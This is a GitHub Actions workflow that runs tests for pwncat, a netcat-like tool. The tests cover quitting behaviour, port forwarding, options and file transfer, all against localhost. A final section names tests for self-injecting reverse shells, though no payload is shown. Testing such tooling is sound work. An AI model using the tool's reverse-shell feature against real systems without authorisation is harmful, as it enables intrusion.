name: ubu-3.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-3.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make 